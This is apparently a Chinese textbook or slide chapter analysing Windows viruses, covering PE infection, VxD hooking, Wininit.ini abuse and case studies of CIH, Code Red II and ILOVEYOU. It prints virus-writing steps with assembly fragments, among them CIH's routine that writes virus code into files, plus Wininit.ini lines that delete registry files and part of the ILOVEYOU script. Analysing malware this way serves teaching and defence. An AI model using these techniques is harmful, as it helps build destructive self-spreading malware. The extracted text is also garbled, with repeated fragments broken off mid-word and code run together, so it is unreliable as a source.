7.2.1Windows病毒的特點(diǎn)主要指針對(duì)Windows9x操作系統(tǒng)的病毒?,F(xiàn)在的計(jì)算機(jī)用在早期版本的Windows中,DOS管理文件系統(tǒng)。而在Windows95/98/2000/NT中就不同了,Windows95/98/2000/NT通過使用設(shè)備驅(qū)動(dòng)和32位程序來管理傳統(tǒng)文件系統(tǒng)。Windows95/98/2000/NT要求確保文件系統(tǒng)的完整性。為了達(dá)到以上目的,禁止DOS程序(和傳統(tǒng)病毒)對(duì)硬盤進(jìn)行直接讀寫,除非它們用特殊的Windows專用代碼。但是,在Windows95/98/2000/NT中允許DOS程序和病毒對(duì)軟盤進(jìn)行直接讀寫。以上對(duì)病毒十分有利,對(duì)用戶來說是十分不幸的;病毒仍然可以用相同的方式工作,如同在硬盤中工作一樣。并且Windows95/98/2000/NT很少能阻止它。在早期版本的Windows中,DOS管理文件系統(tǒng)。而在Win當(dāng)用戶沒有注意到用一張有病毒的軟盤來引導(dǎo)時(shí),病毒能感染MBR。病毒將在每次計(jì)算機(jī)引導(dǎo)時(shí)裝載,在每次DOS對(duì)話框時(shí)安裝到系統(tǒng)中。這樣當(dāng)用戶對(duì)軟盤進(jìn)行操作時(shí),病毒可以將自身復(fù)制到另外的軟盤,從而蔓延到其他的計(jì)算機(jī)。另外,和DOS一樣,Windows95/98/2000/NT沒有文件等級(jí)保護(hù)。利用文件進(jìn)行傳播的病毒仍然可以在Windows95/98/2000/NT下進(jìn)行復(fù)制。這與其他的32位操作系統(tǒng)一樣,例如OS/2,它們也允許對(duì)文件進(jìn)行寫操作。這樣,文件型病毒恰恰像它們?cè)贒OS環(huán)境下一樣進(jìn)行復(fù)制。當(dāng)用戶沒有注意到用一張有病毒的軟盤來引導(dǎo)時(shí),病毒能感染MBR一些使Windows95/98/2000/NT有吸引力的新技術(shù),實(shí)際上幫助病毒在整個(gè)網(wǎng)絡(luò)中復(fù)制。例如工作組網(wǎng)絡(luò)環(huán)境十分容易地使病毒快速傳播。再有,由于Windows95/98/2000/NT沒有文件等級(jí)保護(hù),如果在網(wǎng)絡(luò)中的計(jì)算機(jī)被病毒感染,在對(duì)等網(wǎng)絡(luò)中共享的沒有被保護(hù)的驅(qū)動(dòng)器和文件將很快被感染。隨著Windows操作系統(tǒng)的流行,也催生了如下新型病毒。一些使Windows95/98/2000/NT有吸引力的新OLE2(ObjectLinkingandEmbedded)病毒:這種類型的病毒通過將自己假扮成公共服務(wù)的一個(gè)OLE2服務(wù)器來進(jìn)行傳播。之后,當(dāng)一個(gè)OLE2客戶申請(qǐng)一個(gè)OLE2服務(wù)器來提供公共服務(wù)時(shí),實(shí)際上病毒取得了控制權(quán)。它能將自己復(fù)制到其他文件和計(jì)算機(jī),之后運(yùn)行它替換了的原有OLE2服務(wù)器。這個(gè)應(yīng)用程序甚至不知道自己是同另一個(gè)病毒進(jìn)行“通話”,而不是實(shí)際上的OLE2服務(wù)器。如果這個(gè)OLE2服務(wù)器在一個(gè)完全不同網(wǎng)絡(luò)計(jì)算機(jī),這個(gè)病毒能很快地在網(wǎng)絡(luò)上傳播。OLE2(ObjectLinkingandEmbe擴(kuò)展Shell病毒:Microsoft使這種Shell在Windows系統(tǒng)中完全擴(kuò)展來允許自定義。從技術(shù)上講,病毒能成為其中的一個(gè)擴(kuò)展,因?yàn)閃indows95對(duì)于擴(kuò)展Shell不需要確認(rèn),因此病毒可以寫成一種擴(kuò)展Shell,這樣就可以取得控制權(quán)并且復(fù)制自身。擴(kuò)展Shell病毒:Microsoft使這種Shell在W虛擬設(shè)備驅(qū)動(dòng)病毒VxD病毒(VirtualDeviceDriver):Windows系統(tǒng)VxD對(duì)整個(gè)計(jì)算機(jī)具有完全控制權(quán)。如果通過編制特定程序,它可以直接對(duì)硬盤進(jìn)行寫操作。它具有寫Windows系統(tǒng)Kernel模塊相同的特權(quán),因此它具有廣泛的自由來控制系統(tǒng)。在Windows系統(tǒng)中增加了動(dòng)態(tài)裝載VxD能力,是指一個(gè)VxD,不需要每次都在內(nèi)存中,而是在系統(tǒng)需要時(shí)。這意味著病毒可以用一段很小的代碼來激活一個(gè)動(dòng)態(tài)VxD,這可以導(dǎo)致嚴(yán)重的系統(tǒng)崩潰。因?yàn)閃indows95/98對(duì)VxD的行為沒有限制,因此VxD病毒可以繞過所采用的任何保機(jī)制。虛擬設(shè)備驅(qū)動(dòng)病毒VxD病毒(VirtualDeviceD另外一種可能產(chǎn)生病毒的原因是Windows的易操作編程工具的流行。過去,病毒的編制者需要了解大量的關(guān)于匯編和操作系統(tǒng)的知識(shí)來創(chuàng)建TSR程序來進(jìn)行復(fù)制。對(duì)于Windows來說,許多新手可以用可視化開發(fā)工具的高級(jí)語言來編寫病毒,因?yàn)樗鼈兏裼脩暨\(yùn)行的其他程序,因此很難檢測(cè)出來。另外一種可能產(chǎn)生病毒的原因是Windows的易操作編程工具的(1)感染任何一個(gè)病毒都需要有寄主,而把病毒代碼加入寄主程序中(伴侶病毒除外)。在Windows操作系統(tǒng)中,一般文件型病毒是以PE文件作為病毒代碼的寄主程序,病毒的感染過程,就是病毒侵入PE文件的過程。7.2.2Windows病毒的運(yùn)行機(jī)制(1)感染7.2.2Windows病毒的運(yùn)行機(jī)制(2)分配駐留所需內(nèi)存對(duì)于駐留形的病毒,分配駐留所需內(nèi)存是必需的。在DOS下使用由于所有的應(yīng)用程序都映射在相同的線性地址空間里,使用一般的內(nèi)存分配調(diào)用就足夠了。而在Win32下,每個(gè)應(yīng)用程序都有自己的線性地址空間,必須使用特殊的函數(shù)分配2GB以上的系統(tǒng)地址。(2)分配駐留所需內(nèi)存(3)截留FILEI/O操作駐留型的病毒通過截留FILEI/O來激活,可以通過使用VxD服務(wù)IFSMgr_InstallFileSystemAPIHook(如CIH)或截留VxDCall中的DOSServicescallback(如HPS)實(shí)現(xiàn)。Windows中截留文件I/O操作在病毒中使用的主要有兩種:①使用VxDCallIFSMgr_InstallFileSystemHook。②截留Kernel32.dll中導(dǎo)出的第一個(gè)函數(shù)VxDCall對(duì)DOSINT21的呼叫(EAX=2A0010)。(3)截留FILEI/O操作VxDCall的代碼如下:moveax,dwordptr[esp+04]popdwordptr[esp]callfwordptrcs:[xxxxxxxx]只要將這個(gè)地址指向的地址改為自己的過程入口,就捕獲了所有的VxDCall。進(jìn)入這個(gè)過程時(shí):eax=servicenumber,如果是DOSINT21將是2A0010esp[2c]調(diào)用Int21時(shí)eax的值其他寄存器為調(diào)用時(shí)所需的值(段寄存器無用)。以后的就和在DOS下寫病毒沒有差別了。VxDCall的代碼如下:1.利用Wininit.ini文件技術(shù)Wininit.ini文件屬于Windows啟動(dòng)配置文件,主要用于對(duì)一些在Windows運(yùn)行過程中無法進(jìn)行刪除、更名或更新等操作的文件在啟動(dòng)過程中進(jìn)行上述操作,它存在的時(shí)間很短,操作完成后即被自動(dòng)刪除。Wininit.ini文件的格式簡(jiǎn)述如下:Wininit.ini文件有3個(gè)可能的段,其中“rename”段的格式為:7.2.3Windows病毒編制的關(guān)鍵技術(shù)1.利用Wininit.ini文件技術(shù)7.2.3Win[rename]…filename1=filename2…行“filename1=filename2”相當(dāng)于依次執(zhí)行“copyfilename2filename1”及“delfilename2”這兩個(gè)DOS命令。啟動(dòng)時(shí),Windows將用filename2覆蓋filename1,再刪除filename2,這就實(shí)現(xiàn)了用filename2更新filename1的目的,如果filename1不存在,實(shí)際結(jié)果是將filename2改名為filename1;如果要?jiǎng)h除文件,可令filename1為nul。[rename]在Windows中,一個(gè)可執(zhí)行文件如果正在運(yùn)行或某個(gè)庫文件(*.dll、*.vxd、*.sys等)正在被打開使用,則不能被改寫或刪除。例如,在資源管理器中無法刪除explorer.exe,或者在Windows的GDI界面下,刪除顯示驅(qū)動(dòng)程序庫文件、文件子系統(tǒng)庫文件等。若要對(duì)這些文件進(jìn)行升級(jí),改動(dòng),就必須在Windows保護(hù)模式核心啟動(dòng)前進(jìn)行,即利用基于Wininit.ini文件的一個(gè)機(jī)制來完成這個(gè)任務(wù)。在Windows中,一個(gè)可執(zhí)行文件如果正在運(yùn)行或某個(gè)庫文件(這個(gè)機(jī)制是:將刪除或改寫這類文件的應(yīng)用程序按一定的格式把命令寫入Wininit.ini,Windows在重啟時(shí),將在Windows目錄下搜索Wininit.ini文件,如果找到,就遵照該文件指令刪除、改名、更新文件,完成任務(wù)后,將刪除Wininit.ini文件本身,繼續(xù)啟動(dòng)過程。所以Wininit.ini文件中的指令只會(huì)被執(zhí)行一次,列目錄時(shí)也通常沒有它的蹤影。這個(gè)機(jī)制是:將刪除或改寫這類文件的應(yīng)用程序按一定的格式把命令Windows病毒在感染文件時(shí),也碰到了這樣一個(gè)問題,某些文件,因?yàn)橄到y(tǒng)正在使用,不能被改寫和感染,早期的Windows病毒如CIH病毒采用VxD技術(shù)來解決這個(gè)問題,這易造成系統(tǒng)不穩(wěn)定,后期的病毒大多采用Windows提供的標(biāo)準(zhǔn)方法——Wininit.ini文件來解決這個(gè)問題。如下幾種新出現(xiàn)的Windows病毒即使用了這種方法。Windows病毒在感染文件時(shí),也碰到了這樣一個(gè)問題,某些文(1)Win32.Kriz“Win32.Kriz”病毒又叫“圣誕節(jié)”病毒,內(nèi)存駐留型,具有多形性且極端危險(xiǎn),在12月25日發(fā)作時(shí)將改寫CMOS,覆蓋所有驅(qū)動(dòng)器上的所有文件,然后用CIH病毒中的同樣程序破壞主板上FlashBIOS,該病毒感染exe(PE格式)和scr文件,同時(shí)為了監(jiān)控所有文件操作,它感染Kernel32.dll,接管文件復(fù)制、打開、移動(dòng)等文件存取函數(shù),由于kernel32.dll文件在Windows運(yùn)行時(shí)只能以只讀方式打開,為感染它,該病毒將它復(fù)制一份,名為Krizeo.tt6,然后感染復(fù)制品Krizeo.tt6,寫Rename指令到Wininit.ini文件中,下次機(jī)器啟動(dòng)時(shí),Krizeo.tt6將替代原來的Kernel32.dll完成感染。(1)Win32.Kriz(2)Supp1.A蠕蟲“Supp1.A”是一個(gè)Word宏蠕蟲,通過在發(fā)出的E-mail中插入一個(gè)特洛伊文檔作為附件傳播。當(dāng)被打開時(shí)病毒復(fù)制文檔到Anthrax.ini,把要展開的數(shù)據(jù)寫到文件dll.lzh,并解壓為dll.tmp,以上文件都放在Windows目錄下。接下來這個(gè)蠕蟲創(chuàng)建一個(gè)具有如下內(nèi)容的Wininit.ini文件。[rename]nul=c:windowsdll.lzhc:windowssystemwsock33.dll=c:windowssystemwsock32.dllc:windowssystemwsock32.dll=c:windowsdll.tmp(2)Supp1.A蠕蟲(3)Heathen病毒“Heathen病毒”是一個(gè)多平臺(tái)病毒,感染W(wǎng)ord文檔和PE格式的exe文件。為了感染explorer.exe,病毒先把explorer.exe復(fù)制為heathen.vex,然后加一條“rename”指令到Wininit.ini文件,例如:[rename]c:windowsexplorer.exe=c:windowsheathen.vex下次啟動(dòng)時(shí),Windows將幫助它完成對(duì)Explorer.exe的感染。另外,該病毒發(fā)作時(shí)也使Wininit.ini來刪除Windows注冊(cè)表文件:[rename]nul=c:windowssystem.datnul=c:windowsuser.dat(3)Heathen病毒(4)Win95.SK“Win95.SK”是最兇狠、最狡猾的病毒之一,原有一些BUG,現(xiàn)在已出現(xiàn)了更新版本,糾正了第一個(gè)版本中的所有BUG。它是一個(gè)寄生性的Windows病毒,可感染W(wǎng)indowsPE格式文件、HLPE幫助文件、壓縮包文件(rar、xip、arj、ha)。它采用了許多新的高級(jí)技術(shù),如:自身加密解密技術(shù),入口點(diǎn)隱藏技術(shù)等,當(dāng)磁盤上文件被訪問時(shí),它檢查其文件名,如果是幾個(gè)反病毒程序的名字(DINF、AVPI、AVP、VBA、DRWEB),該病毒將刪除從C:盤到Z:盤的所有目錄下的所有能被刪除的文件,然后,調(diào)用函數(shù)Fatal_Error_Handler使系統(tǒng)死機(jī)。(4)Win95.SKWindowsShell文件explorer.exe是Windows病毒必爭(zhēng)之地,該病毒自然不會(huì)放過,但比其他病毒更加完善,它通過從system.ini文件中的“Shell=”行來獲得Shell文件名,這樣,即使將explorer.exe改名,在Shell中指定實(shí)際的文件名,期望借此避免被感染,也是徒勞,它感染Shell文件的具體步驟是:以explorer.exe為例,把explorer.exe復(fù)制為explorer.exf,然后感染explorer.exf、再創(chuàng)建Wininit.ini文件,寫入合適的rename指令,這與其他病毒的作法相同。WindowsShell文件explorer.exe是Wi2.利用PE文件結(jié)構(gòu)在Windows9x/NT/2000下,所有的可執(zhí)行文件都是基于Microsoft設(shè)計(jì)的一種新的文件格式PortableExecutableFileFormat(可移植的執(zhí)行體),即PE格式。有些病毒程序采用同DOS文件型病毒相似的方法攻擊PE格式的文件,對(duì)PE格式的文件進(jìn)行修改,使病毒體侵入和隱藏在該類文件中。2.利用PE文件結(jié)構(gòu)(1)PE文件框架構(gòu)成PE文件結(jié)構(gòu)的總體層次分布如圖7.1所示。裝載一個(gè)PE文件主要經(jīng)過下列4步:①PE文件被執(zhí)行,PE裝載器檢查DOSMZheader里的PEheader偏移量。如果找到,則跳轉(zhuǎn)到PEheader。②PE裝載器檢查PEheader的有效性。如果有效,就跳轉(zhuǎn)到PEheader的尾部。③緊跟PEheader的是節(jié)表。PE裝載器讀取其中的節(jié)信息,并采用文件映射方法將這些節(jié)映射到內(nèi)存,同時(shí)附上節(jié)表里指定的節(jié)屬性。(1)PE文件框架構(gòu)成圖7.1PE文件結(jié)構(gòu)總體層次DOSMZheaderDOSstubPEheaderSectiontableSection1Section2Section…Sectionn圖7.1PE文件結(jié)構(gòu)總體層次DOSMZheaderDO④PE文件映射入內(nèi)存后,PE裝載器將處理PE文件中類似importtable(引入表)邏輯部分。(2)病毒程序編制技術(shù)針對(duì)PE型文件結(jié)構(gòu),病毒程序常用的方法是:①確定病毒程序的位置,可以通過如下代碼完成:callGetVirAddrGetVirAddr:popebp使得ebp指向GetVirAddr。要想把變量Var1送入eax,使用如下代碼:moveax,[ebp+Var1-GetVirAddr]④PE文件映射入內(nèi)存后,PE裝載器將處理PE文件中類似i②獲取Kernel32的API。通用的技術(shù)是從4GB的地址空間中搜索Kernel32的基地址,然后從Kernel32的exporttable中找到所需要的API的地址。把API地址存在一個(gè)數(shù)組里,然后可以用下面方法調(diào)用。pushlargeparam_n...pushlargeparam_1call[ebp+Func-GetVirAddr]②獲取Kernel32的API。通用的技術(shù)是從4GB的地址③分配一塊內(nèi)存(VirtualAlloc),把自己復(fù)制進(jìn)去,用CreateThread在那里啟動(dòng)一個(gè)線程,然后返回。這可以通過如下代碼完成:pushlargehostentry;herewillbefilledwheninfectingretn或者moveax,hostentry ;hostentry存放的是感染時(shí)原程序的entrypointjmpeax③分配一塊內(nèi)存(VirtualAlloc),把自己復(fù)制進(jìn)去④進(jìn)行病毒感染。利用FindFirstFile、FindNextFile、FindClose這3個(gè)API對(duì)硬盤文件反復(fù)搜索,找到一個(gè)可感染文件就感染一個(gè),直到全部可感染文件感染完。采用這種方式編制的病毒如PurpleMood(紫色心情)。該病毒感染長(zhǎng)度6736字節(jié),感染本地硬盤和網(wǎng)絡(luò)上所有exe(GUI)文件,且搜索本地所有郵件地址,將病毒作為附件發(fā)送出去,在Explorer進(jìn)程中加入線程監(jiān)控程序的運(yùn)行。④進(jìn)行病毒感染。利用FindFirstFile、FindN該病毒程序首先得到重定位信息,并將其保存在ebx中;然后調(diào)用GetKBase,獲得Kernel32.dll的基地址,通過調(diào)用GetAPIz,得到程序?qū)⑹褂玫腒ernel32中所有API;再調(diào)用PayLoad判斷是否滿足發(fā)作條件,若滿足條件,則刪除所有文件,否則繼續(xù);接下來,判斷是被感染文件還是自身(病毒在系統(tǒng)目錄創(chuàng)建PurpleMood.scr):若是染毒文件,則調(diào)用CreatePE來創(chuàng)建PurpleMood.scr,初始化(rtInit)寫注冊(cè)表項(xiàng)所需函數(shù)地址,調(diào)用MakeSCRAlive使PurpleMood.scr保持活動(dòng);如果是PurpleMood.scr,則CreateMutex設(shè)置標(biāo)志,然后啟動(dòng)監(jiān)控線程,感染PE線程,在主線程中發(fā)送郵件。該病毒程序首先得到重定位信息,并將其保存在ebx中;然后調(diào)用3.利用注冊(cè)表技術(shù)注冊(cè)表是一個(gè)龐大的數(shù)據(jù)庫,用來存儲(chǔ)計(jì)算機(jī)軟硬件的各種配置數(shù)據(jù)。注冊(cè)表中記錄了用戶安裝在計(jì)算機(jī)上的軟件和每個(gè)程序的相關(guān)信息,用戶可以通過注冊(cè)表調(diào)整軟件的運(yùn)行性能、檢測(cè)和恢復(fù)系統(tǒng)錯(cuò)誤、定制桌面等。因而掌握了注冊(cè)表,即掌握了對(duì)計(jì)算機(jī)配置的控制權(quán)。因此,病毒程序可以通過修改、掌握注冊(cè)表,來達(dá)到控制計(jì)算機(jī)的目的。這類方法常用的有修改注冊(cè)表的鍵值、鎖定注冊(cè)表等。3.利用注冊(cè)表技術(shù)4.虛擬設(shè)備驅(qū)動(dòng)程序(VxD)VxD是一個(gè)管理如硬件設(shè)備或者已安裝軟件等系統(tǒng)資源的32位可執(zhí)行程序,使得幾個(gè)應(yīng)用程序可以同時(shí)使用這些資源。Windows通過使用VxD允許基于Windows的應(yīng)用程序?qū)崿F(xiàn)多任務(wù)。VxD在與Windows的連接工作中處理中斷,并為需要進(jìn)行I/O操作的應(yīng)用程序執(zhí)行I/O操作,而且不影響其他應(yīng)用程序的執(zhí)行。大多數(shù)VxD管理硬件設(shè)備,也有一些VxD管理或代替與之相關(guān)的軟件,例如普通ROMBIOS。4.虛擬設(shè)備驅(qū)動(dòng)程序(VxD)VxD可以包含必須在相應(yīng)設(shè)備上執(zhí)行的設(shè)備相關(guān)代碼,也可以依靠其他軟件去執(zhí)行這些對(duì)設(shè)備的操作。任何情況下,VxD都會(huì)為每一個(gè)應(yīng)用程序保留該設(shè)備狀態(tài)的記錄,保證無論何時(shí)一個(gè)應(yīng)用程序繼續(xù)執(zhí)行該設(shè)備均處于正確狀態(tài)。一些VxD僅僅管理已安裝軟件,例如MS-DOS設(shè)備驅(qū)動(dòng)程序或者TSR程序,這樣的VxD通常包含仿真這些軟件或者保護(hù)這些軟件用于正在運(yùn)行的應(yīng)用程序的數(shù)據(jù)的代碼。VxD有時(shí)還用于提高已安裝軟件的性能,Intel兼容CPU執(zhí)行32位的VxD比執(zhí)行16位的MS-DOS設(shè)備驅(qū)動(dòng)程序或者TSR程序有更高的效率。VxD可以包含必須在相應(yīng)設(shè)備上執(zhí)行的設(shè)備相關(guān)代碼,也可以依靠其實(shí),VxD不僅僅可以用來控制硬件設(shè)備,因?yàn)閂xD工作在80386保護(hù)模式Ring0特權(quán)級(jí)(最高特權(quán)級(jí))上,而一般的應(yīng)用程序工作在Ring3特權(quán)級(jí)(最低特權(quán)級(jí))上,所以VxD可以完成許多API不能完成的功能,例如端口讀寫、物理內(nèi)存讀寫、中斷調(diào)用、API攔截等。因此,在Windows系統(tǒng)的病毒編制技術(shù)中,通過編制一個(gè)VxD病毒程序或編制一小段病毒程序代碼來來激活一個(gè)動(dòng)態(tài)VxD,使得系統(tǒng)癱瘓,也是常見方法之一。由于Windows系統(tǒng)對(duì)VxD的行為沒有限制,因此VxD病毒可以繞過所采用的任何保機(jī)制,所以此種病毒相當(dāng)惡毒。其實(shí),VxD不僅僅可以用來控制硬件設(shè)備,因?yàn)閂xD工作在80此類典型病毒即為CIH病毒。該病毒使用面向Windows的VxD技術(shù)編制,主要感染W(wǎng)indows操作系統(tǒng)下的可執(zhí)行文件(exe、com、vxd、vxe),并且在DOS、Windows3.2及WindowsNT中無效,感染后的文件大小根本沒有變化,病毒代碼的大小在1KB左右。由于CIH病毒獨(dú)特地使用了VxD技術(shù),使得這種病毒在Windows環(huán)境下傳播,使用一般反病毒軟件很難發(fā)現(xiàn)這種病毒在系統(tǒng)中的傳播。CIH病毒程序部分代碼如下:此類典型病毒即為CIH病毒。該病毒使用面向Windows的V…leaeax,(LastVxDCallAddress-2-@9)[esi];上一個(gè)調(diào)用VxD的指令的地址movcl,VxDCallTableSize ;所用VxD調(diào)用的個(gè)數(shù)LoopOfRestoreVxDCallID:movwordptr[eax],20cdh ;還原成″int20h″的形式movedx,(VxDCallIDTable+(ecx-1)*04h-@9)[esi] ;從VxDCallIDTable取出VxD調(diào)用的id號(hào)放到edxmov[eax+2],edx ;放到″int20h″的后面,形成′int20h′andthe′ServiceIdentifier′的形式…movzxedx,byteptr(VxDCallAddressTable+ecx1@9)[esi];VxDCallAddressTable中放著各個(gè)調(diào)用VxD的指令的地址之差subeax,edx ;eax為上一個(gè)調(diào)用地址loopLoopOfRestoreVxDCallID ;還原其他的調(diào)用…WriteVirusCodeToFile:moveax,dr1 ;dr1為前面所保存的espmovebx,[eax+10h] ;ebx為保存在棧中的保存文件句柄movedi,[eax];edi為保存在棧中的IFSMgr_Ring0_FileIO調(diào)用的地址…movzxedx,byteptr(VxDCallAdLoopOfWriteVirusCodeToFile:popecx ;病毒代碼各段的偏移jecxzSetFileModificationMark ;到病毒偏移零為止movesi,ecxmoveax,0d601h ;寫文件功能號(hào)(R0_WRITEFILE)popedx ;文件指針popecx ;要寫的字節(jié)數(shù)calledi;VxDCallIFSMgr_Ring0_FileIO;寫文件,依次寫入:各段病毒代碼,病毒塊表,新的文件塊表,新的程序入口,感染標(biāo)志jmpLoopOfWriteVirusCodeToFile…LoopOfWriteVirusCodeToFile:在CIH病毒代碼中,全部系統(tǒng)調(diào)用都是采用VxD調(diào)用,這種方法編制的病毒代碼與其他方法編制的病毒代碼比較而言,病毒代碼更加底層,效率更高。特別是和用API函數(shù)編制的病毒相比不需考慮病毒自身的復(fù)雜重定位過程,和使用中斷編制的病毒相比更能防止對(duì)程序的跟蹤分析。CIH病毒分為駐留、感染、發(fā)作3個(gè)主要模塊。病毒感染時(shí)查找感染對(duì)象文件的各塊之間的空白區(qū)域,把病毒自己的各種數(shù)據(jù)結(jié)構(gòu)和代碼寫到其中。在CIH病毒代碼中,全部系統(tǒng)調(diào)用都是采用VxD調(diào)用,這種方法病毒的有關(guān)操作需要0級(jí)的權(quán)限,所以病毒一開始就設(shè)法獲得0級(jí)權(quán)限,監(jiān)測(cè)駐留情況,用VxD調(diào)用分配內(nèi)存,并完成駐留。隨后病毒安裝文件系統(tǒng)鉤子程序(指向感染模塊),并保存原來的鉤子指針,鉤子程序?qū)⒃谒械奈募僮髦斜患せ睿袛嗍欠裨诖蜷_文件,如是就打開并傳染之。病毒發(fā)作時(shí),該模塊會(huì)覆蓋硬盤中的絕大多數(shù)數(shù)據(jù)和FlashBIOS中的數(shù)據(jù)。只要計(jì)算機(jī)的微處理器是PentiumIntel430TX,一旦FlashBIOS被覆蓋掉,那么機(jī)器將不能啟動(dòng),只有將FlashBIOS進(jìn)行重寫之后才行。病毒的有關(guān)操作需要0級(jí)的權(quán)限,所以病毒一開始就設(shè)法獲得0級(jí)權(quán)5.其他編制技術(shù)在Windows病毒編制技術(shù)中,除了上述幾種典型技術(shù)外,還有另外一些方法也較常用,例如,有的病毒程序?qū)Τ绦蝈e(cuò)誤進(jìn)行屏蔽,使得錯(cuò)誤程序繼續(xù)執(zhí)行,從而引起系統(tǒng)損壞。還有的病毒程序是對(duì)系統(tǒng)進(jìn)程進(jìn)行控制,通過注冊(cè)遠(yuǎn)程線程的方法,使得系統(tǒng)進(jìn)程無限循環(huán),進(jìn)程堆積,機(jī)器效率逐漸變低,最后使得系統(tǒng)癱瘓。對(duì)于郵件型病毒,可以通過提取Windows地址簿文件(*.wab)的E-mail信息,不斷發(fā)送郵件,造成系統(tǒng)災(zāi)難。5.其他編制技術(shù)1.“紅色代碼Ⅱ”病毒“紅色代碼Ⅱ”是一種專門攻擊WindowsNT4.0以及Windows2000系統(tǒng)的惡性網(wǎng)絡(luò)蠕蟲VirtualRoot(虛擬目錄)病毒。該病毒利用微軟IndexServer(ida/idq)ISAPI擴(kuò)展遠(yuǎn)程溢出漏洞,通過80端口發(fā)送一個(gè)構(gòu)造后的HTTPGET請(qǐng)求到服務(wù)器,當(dāng)本地IIS服務(wù)程序收到某個(gè)來自CodeRedII發(fā)的請(qǐng)求數(shù)據(jù)包時(shí),由于存在漏洞,導(dǎo)致處理函數(shù)的堆棧溢出(Overflow)。當(dāng)函數(shù)返回時(shí),原返回地址已被病毒數(shù)據(jù)包覆蓋,系統(tǒng)強(qiáng)迫運(yùn)行病毒代碼,此時(shí)病毒被激活,并運(yùn)行在IIS服務(wù)程序的堆棧中。7.2.4典型Windows病毒分析1.“紅色代碼Ⅱ”病毒7.2.4典型Windows病毒這種蠕蟲病毒修改Windows注冊(cè)表并放置特洛伊木馬程序(將cmd.exe改名為boot.exe),并將cmd.exe文件復(fù)制到別的目錄,這些目錄包括,c:\inetpub\scripts\root.exe;d:\inetpub\scripts\root.exe;c:\programfiles\commonfiles\system\msadc\root.exe;d:\programfiles\common
files\system\msadc\root.exe.
顯然原來的cmd.exe的文件被從WindowsNT的System目錄復(fù)制到了別的目錄,給黑客的入侵敞開了大門。不僅如此,該網(wǎng)絡(luò)蠕蟲程序還會(huì)修改系統(tǒng)的注冊(cè)表項(xiàng)目:這種蠕蟲病毒修改Windows注冊(cè)表并放置特洛伊木馬程序(將HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\W3SVC\PARAMETERS\VIRTUALROOTS通過該項(xiàng)目的修改,該蠕蟲程序可以建立虛擬的目錄C或者D,病毒名由此而來。受感染的機(jī)器可由黑客們通過HTTPGET的請(qǐng)求運(yùn)行scripts/root.exe來獲得對(duì)受感染機(jī)器的完全的控制權(quán)。該網(wǎng)絡(luò)蠕蟲的主線程檢查2個(gè)不同的標(biāo)記:第一個(gè)標(biāo)記是29A(29A是國(guó)外最著名的病毒編寫組織的代號(hào)),該標(biāo)記控制該網(wǎng)絡(luò)蠕蟲程序的安裝;第二個(gè)標(biāo)記是檢查是否有“CodeRedII”,如果存在的話,該網(wǎng)絡(luò)蠕蟲程序進(jìn)入無限的休眠狀態(tài)。HKEY_LOCAL_MACHINE\SYSTEM\CURR病毒激活時(shí),網(wǎng)絡(luò)蠕蟲程序會(huì)檢查當(dāng)前的系統(tǒng)的語言,如果默認(rèn)的語言是漢字系統(tǒng),不管是簡(jiǎn)體的還是繁體的漢字系統(tǒng),它會(huì)建立600個(gè)新的線程;如果不是這兩種系統(tǒng)語言的話,該網(wǎng)絡(luò)蠕蟲程序建立300個(gè)線程。每一個(gè)線程產(chǎn)生一組隨機(jī)的IP地址,并尋找其中可以感染的目標(biāo)機(jī)器。這些線程不斷感染別的機(jī)器,當(dāng)感染一臺(tái)服務(wù)器成功了以后,如果受感染的機(jī)器是中文系統(tǒng),該程序會(huì)休眠2天,別的機(jī)器休眠1天。當(dāng)休眠的時(shí)間到了以后,該蠕蟲程序會(huì)使得機(jī)器重新啟動(dòng)。同時(shí)該蠕蟲也會(huì)檢查機(jī)器的月份是否是10月或者年份是否是2002年,如果是的話,受感染的服務(wù)器也會(huì)重新啟動(dòng)。病毒激活時(shí),網(wǎng)絡(luò)蠕蟲程序會(huì)檢查當(dāng)前的系統(tǒng)的語言,如果默認(rèn)的語當(dāng)WindowsNT系統(tǒng)啟動(dòng)時(shí),NT系統(tǒng)會(huì)自動(dòng)搜索C盤根目錄下的文件Explorer.exe。受該網(wǎng)絡(luò)蠕蟲程序感染的服務(wù)器上的文件explorer.exe,也就是該網(wǎng)絡(luò)蠕蟲程序本身。該文件explorer.exe的大小是8192B,該網(wǎng)絡(luò)蠕蟲程序就是通過該程序來執(zhí)行的。它同時(shí)還會(huì)修改系統(tǒng)的注冊(cè)表項(xiàng)目:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWSNT\CURRENTVERSION\WINLOGON將其中的數(shù)值SFCDisable設(shè)置成0xFFFFFF9D,使得系統(tǒng)啟動(dòng)時(shí)不檢查系統(tǒng)文件的完整性。當(dāng)WindowsNT系統(tǒng)啟動(dòng)時(shí),NT系統(tǒng)會(huì)自動(dòng)搜索C盤根目2.“ILOVEYOU”病毒“ILOVEYOU”病毒是用vbscript寫出來的通過E-mail散布的病毒。打開郵件的附件時(shí),含有病毒的腳本程序運(yùn)行,該病毒首先將自身復(fù)制到下列目錄中:$windir/Win32DLL.vbs($windir=c:\windowsonmostwindowssystems)$systemdir/MSKernel32.vbs($systemdir=c:\windows\system)$windir/LOVE-LETTER-FOR-YOU.TXT.vbs2.“ILOVEYOU”病毒然后將這些文件加載到注冊(cè)表中以便在啟動(dòng)時(shí)自動(dòng)運(yùn)行。并且改變默認(rèn)的IE瀏覽頁面,通過該頁面可下載一個(gè)可執(zhí)行的代碼,下載完畢后再將其加入注冊(cè)表,并把IE的默認(rèn)瀏覽頁面再改為about:bland。然后將這些文件加載到注冊(cè)表中以便在啟動(dòng)時(shí)自動(dòng)運(yùn)行。并且改變默接下來該病毒掃描硬盤及網(wǎng)絡(luò)共享硬盤,尋找后綴為vbs、vbe、js、jse、css、wsh、sct、hta、vbs、jpg、jpeg的文件,并將所有這些文件改變成這個(gè)病毒,當(dāng)發(fā)現(xiàn)有mp2或者mp3格式的文件時(shí),將自身復(fù)制到同樣目錄下的一個(gè)vbsscript中,若找到mIRC時(shí)則建立一個(gè)小的mIRCscript(可以發(fā)送html頁面),這樣就可以對(duì)所有加入所在頻道的所有用戶發(fā)送html并感染對(duì)方的IE。當(dāng)感染了病毒的IE運(yùn)行時(shí),會(huì)將其共享密碼及IP地址通過E-mail發(fā)送回指定的地址。該病毒修改注冊(cè)表部分源代碼如下:接下來該病毒掃描硬盤及網(wǎng)絡(luò)共享硬盤,尋找后綴為vbs、vbeSetfso=CreateObject(″Scripting.FileSystemObject″)…Setdirwin=fso.GetSpecialFolder(0)Setdirsystem=fso.GetSpecialFolder(1)Setdirtemp=fso.G